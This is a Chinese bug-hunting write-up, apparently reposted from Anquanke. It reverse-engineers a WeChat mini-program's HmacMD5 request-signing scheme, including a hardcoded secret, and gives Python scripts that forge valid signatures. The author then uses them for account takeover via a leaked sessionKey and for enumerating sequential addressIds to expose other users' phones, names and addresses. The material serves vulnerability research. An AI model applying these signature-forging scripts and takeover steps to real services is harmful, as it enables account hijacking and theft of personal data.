sign加密小程序漏洞挖掘
2024-9-2 11:17:17 Author: mp.weixin.qq.com(查看原文) 阅读量:22 收藏

公众号:安全客资讯平台(ID:anquanbobao)
作者:(eeknight)

前言

通过本篇论文,你可以了解两个知识点:

  1. sign加密解密

  2. 小程序漏洞挖掘

漏洞发现

注册的时候点击一个获取手机号

这里通过burp可以看到微信小程序获取手机号的三个关键参数,decryptData,sessionKey和iv。

正常情况是只有decryptData和iv,如果看到sessionKey基本就是一个任意登录漏洞了。

正常的小程序在获取微信提供的用户数据的时候通过sessionKey来提供甲基咪,这个sessionKey就是会话密钥,可以简单理解为微信开放数据AES加密的密钥,它是微信服务器给开发者服务器颁发的身份凭证,这个数据正常来说是不能通过任何方式泄露出去的。

首先我们通过burp的插件sessionkey crypt解密一下

但是这里存在一个问题,这里存在sign值的验证

那现成的漏洞我们拿不到,接下来我们要通过逆向去吧sign的值解密出来,看看加密逻辑然后重新实现。

sign解密

减法操作

在测试加密的时候,首先要做减法,看看影响sign的参数有哪些。

首先发送一个正常数据包

现在可以发送,我一点点减少

如果再减少一行的话(我这里删除了App_type: 3,不管是哪一个都是这样),会出现”公共请求Head参数缺失。”

这里可以思考一下,还可以减少吗?

其实是可以的,我们刚才减少的是参数,如果我不去参数,我去掉参数的值呢,某一些参数是可以删除的,这里通过这个,我们可以进一步判断sign的影响值是哪个。

现在我们可以判断,影响sign的值有key,Timestamp和数据包。

接下来我们再少一点,找一个没有传输数据的数据包做测试。

这里的影响就只有key和sign了。

反汇编

找到减法了,接下里就是小程序反汇编,首先这里的sign是32为,很想md5,小程序反汇编后直接找关键词,md5,sign,encode等等。

在md5的时候看到一个sign加密,而且还是用HmacMD5的,看一下这个代码。

…..

sign: function(e, t, n) {

varr=n(“7123”),

o=n(“8664”);

n(“5622”),

n(“3524”);

vari=”B272F43387B8504C”,

a=”weixin”,

s=”70BAE8B491362AB39042B77C7653199D”;

functionu(e, t) {

returnt.key<e.key?-1 : t.key>e.key?1 : 0

}

e.exports= {

signRequest: function(e) {

e=e|| {};

vart= {},

n= (newDate).valueOf() +6e4;

t.timestamp=n,

t.key=i,

t.app_type=3,

t.OS_type=3,

t.device_id=a,

o.HmacMD5(s, n+””).toString(o.enc.Hex).substring(8, 24).toUpperCase();

varc= [],

l=”object”===r(e) &&”number”==typeofe.length;

for (varfine) {

vard=f;

l&& (d=e[f].key),

l?c.push(e[f]) : “object”===r(e[d]) ||c.push({

key: d,

value: e[d]

})

}

c.push({

key: “timestamp”,

value: n

}),

c.push({

key: “key”,

value: i

}),

c=c.sort(u);

varh=””;

for (varfinc) if ((d=c[f]).valueinstanceofArray) for (varpind.value) {

varg=d.value[p];

h+=d.key,

h+=g

} elseh+=d.key,

h+=d.value;

varv=o.HmacMD5(h+s, n+””).toString().toUpperCase();

returnt.sign=v,

t

},

test: function() {

o.HmacMD5(“timestamp1555661061471searchType2keyB272F43387B8504C70BAE8B491362AB39042B77C7653199D”, “1555661061471”).toString().toUpperCase()

}

}

},

…..

这里有一个误导的趋势,下面的demo函数里面有一个测试值,我们可以看到

varv=o.HmacMD5(h+s, n+””).toString().toUpperCase();

这里是用h和s,用n作为秘钥加密的,s是secret的值,是固定的s = “70BAE8B491362AB39042B77C7653199D”;

h前面的说法是h += d.value;也就是d的值相加

c.push({

key: “timestamp”,

value: n

  }),

c.push({

key: “key”,

value: i

  }),

c=c.sort(u);

varh=””;

for (varfinc) if ((d=c[f]).valueinstanceofArray) for (varpind.value) {

varg=d.value[p];

h+=d.key,

h+=g

} elseh+=d.key,

h+=d.value;

我们看到key和timestamp,结合我们刚才的无参数的值,再看看demo里面的

o.HmacMD5(“timestamp1555661061471searchType2keyB272F43387B8504C70BAE8B491362AB39042B77C7653199D”, “1555661061471”).toString().toUpperCase()

HmacMD5(timestamp+timestamp的值+searchType2[不知道干什么用的]+key+key的值+secret)再用时间戳作为秘钥

这里的误区就是searchType2,刚开始我以为他有用,发现死活加密不出来,后面不用这个值,直接加密发现就可以了。

无传输数据的数据包

Os_type:

App_type:

Device_id:

Key: B272F43387B8504C

Sign: 73A8C93DC2A4CA79A8897879DDF54EA7

Content-Type: application/x-www-form-urlencoded

Timestamp: 1719387012630

Connection: close

Content-Length: 2

{}

加密脚本

importhmac

importhashlib

key = “B272F43387B8504C”;

timestamp = 1719387012630;

timestamp = str(timestamp)

secret = “70BAE8B491362AB39042B77C7653199D”;

str1 = ‘timestamp’+timestamp+’key’+key+secret

mac = hmac.new(key=timestamp.encode(), msg=str1.encode(),digestmod=hashlib.md5)

mac.digest()

str_encode = mac.hexdigest().upper()

print(str_encode)

# 73A8C93DC2A4CA79A8897879DDF54EA7

首次加密没问题了,接下来是有参数的,我找了一个只有一个参数的

刚才是直接拼接,再仔细看一下有一个排序操作c = c.sort(u);,从demo的timestamp—>searchType—>key,想着会不会是以ZYXWVUTSRQPONMLKJIHGFEDCBA排序,按这个思路,我把addressCode放到key的前面加密

Os_type:

App_type:

Device_id:

Key: B272F43387B8504C

Sign: 285F822334E8978E25D92D8975A3479C

Content-Type: application/x-www-form-urlencoded

Timestamp: 1719387013084

Connection: close

Content-Length: 13

addressCode=2

输出脚本

importhmac

importhashlib

key = “B272F43387B8504C”;

timestamp = 1719387013084;

timestamp = str(timestamp)

secret = “70BAE8B491362AB39042B77C7653199D”;

addressCode = “2”

str1 = ‘timestamp’+timestamp+’key’+key+”addressCode”+addressCode+secret

mac = hmac.new(key=timestamp.encode(), msg=str1.encode(),digestmod=hashlib.md5)

mac.digest()

str_encode = mac.hexdigest().upper()

print(str_encode)

# 285F822334E8978E25D92D8975A3479C

所以思路就是把所有参数按字母排序然后加密出来,对于多个参数,这里是通过键值对的反思。

for (var f in c) if ((d = c[f]).value instanceof Array) for (var p in d.value) {

  var g = d.value[p];

  h += d.key,

  h += g

}

把数据包的按=号前后提取分配,回到sessionkey来,测试sign的加密方式,这里在测试的时候发现直接进行url解密的时候会出现报错。

在处理加密的逻辑的时候,先按前面逻辑处理一下

Content-Length: 318

Os_type:

Key: B272F43387B8504C

Sign: 03E03380485A6FE4BA9FFFD0AE555C42

Device_id:

Content-Type: application/x-www-form-urlencoded

App_type:

Timestamp: 1719387015597

Connection: close

decryptData=lGtijwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxWYPYgR6HiHFQmMYV0uOQ%3D%3D&sessionKey=sRfHDswxxxxxxxxxxxx%3D%3D&iv=RpwxxxxxxxxxxxxzPQyTA%3D%3D

importhmac

importhashlib

key = “B272F43387B8504C”;

timestamp = 1719387015597;

timestamp = str(timestamp)

secret = “70BAE8B491362AB39042B77C7653199D”;

decryptData = “lGtijwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxWYPYgR6HiHFQmMYV0uOQ”

sessionKey = “sRfHDswxxxxxxxxxxxx%3D%3D”

iv = “RpwxxxxxxxxxxxxzPQyTA%3D%3D”

str1 = ‘timestamp’+timestamp+’sessionKey’+sessionKey+’key’+key+’iv’+iv+”decryptData”+decryptData+secret

mac = hmac.new(key=timestamp.encode(), msg=str1.encode(),digestmod=hashlib.md5)

mac.digest()

str_encode = mac.hexdigest().upper()

print(str_encode)

#EEDB56B05B83B1A2D1660509F6387A06

这里是思考为什么报错,然后想着会不会是url解码问题,我在处理sign加密的时候加一个url解码,发现就可以了

importhmac

importhashlib

importurllib.parse

fromurllib.parseimportunquote

key = “B272F43387B8504C”;

timestamp = 1719387015597;

timestamp = str(timestamp)

secret = “70BAE8B491362AB39042B77C7653199D”;

decryptData = “lGtijwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxWYPYgR6HiHFQmMYV0uOQ”

sessionKey = “sRfHDswxxxxxxxxxxxx%3D%3D”

iv = “RpwxxxxxxxxxxxxzPQyTA%3D%3D”

str1 = ‘timestamp’+timestamp+’sessionKey’+urllib.parse.unquote(sessionKey) +’key’+key+’iv’+urllib.parse.unquote(iv) +”decryptData”+urllib.parse.unquote(decryptData) +secret

mac = hmac.new(key=timestamp.encode(), msg=str1.encode(),digestmod=hashlib.md5)

mac.digest()

str_encode = mac.hexdigest().upper()

print(str_encode)

#03E03380485A6FE4BA9FFFD0AE555C42

现在sign值已经解密出来了,这样一步步写太麻烦了,就改进一下脚本。

importhmac

importhashlib

importurllib.parse

fromurllib.parseimportunquote

request_data = f”””

Content-Length: 318

Os_type:

Key: B272F43387B8504C

Sign: 03E03380485A6FE4BA9FFFD0AE555C42

Device_id:

Content-Type: application/x-www-form-urlencoded

App_type:

Timestamp: 1719387015597

Connection: close

decryptData=lGtijwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxWYPYgR6HiHFQmMYV0uOQ%3D%3D&sessionKey=sRfHDswxxxxxxxxxxxx%3D%3D&iv=RpwxxxxxxxxxxxxzPQyTA%3D%3D

“””

params = request_data.split(‘\n’)

formatted_output = {“key”: “B272F43387B8504C”}

foriteminparams:

ifitem.startswith(‘Timestamp: ‘):

timestamp_value = item.split(‘Timestamp: ‘)[1]

formatted_output[‘timestamp’] = timestamp_value

timestamp = timestamp_value

datas = params[-2]

params_list = datas.split(‘&’)

forparaminparams_list:

key, value = param.split(‘=’, 1)

value = urllib.parse.unquote(value)

formatted_output[key] = value

str1 = []

forkey, valueinformatted_output.items():

str1.append(key+value)

sorted_str1 = sorted(str1, key=lambdas: s[0])

str2 = “”

forvainsorted_str1[::-1]:

str2 += va

str2 += “70BAE8B491362AB39042B77C7653199D”

mac = hmac.new(key=timestamp.encode(), msg=str2.encode(),digestmod=hashlib.md5)

mac.digest()

str_encode = mac.hexdigest().upper()

print(str_encode)

这里给出数据包,就自动提取参数,然后加密。

再次挖掘

用户接管漏洞

现在sign有了,我们最开始的任意用户绑定登录就可以拿下了。使用两个账号,实现一个正常用户登录,另一个攻击者来接管这个账号。

正常用户注册登录如下

攻击者在获取手机号的时候截取数据包。

通过sessionkey来修改登录的数据包,然后通过脚本生成sign缀

然后登录,可以直接接管正常用户的数据。

可以看到我现在不是19开头的,但是我可以登录19的账号,实现接管,并修改账号名。

信息泄露

除此之外,有了sign值,可以看一下其他漏洞,这里还发现了一个用户信息泄露(图片比较模糊,重点是提供一个思路)。

在购物车下订单,我们可以获取订单信息,这里是生成订单的时候有一个addressId,假设我们可以获取别人的值,是不是可以造成别人的敏感信息泄露,手机号,姓名,家庭地址。

在这里我们生成订单,然后不要支付,点击我的订单然后抓包

查看订单然后抓包

这里可以看到别人的订单信息了,这里的addressId是按顺序生成的,所以可以看到所有人的敏感信息,但是由于限制了订单,所以我们要先下单—修改id—查看信息—取消—下单这样循环才可以看到全站人的信息。这里写一个脚本处理其实就可以了,sign的获取通过配合前面的脚本,然后生成就好了。

这个小程序的漏洞就看了两个,主要就是一个sign的加密解密逻辑和小程序漏洞挖掘而已,如果有说的不对的,恳请各位师傅们批评指正!!!

往期回顾

dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips

安全客:有思想的安全新媒体。
声明:本文经安全客授权发布,转载请联系安全客平台。


文章来源: https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495762&idx=1&sn=434fd10109993b75f20958419e34818f&chksm=e8a5fa31dfd273271c43b617edb58110415ffbb8728a1e2374a99f4a0824433ceaaff28b6438&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh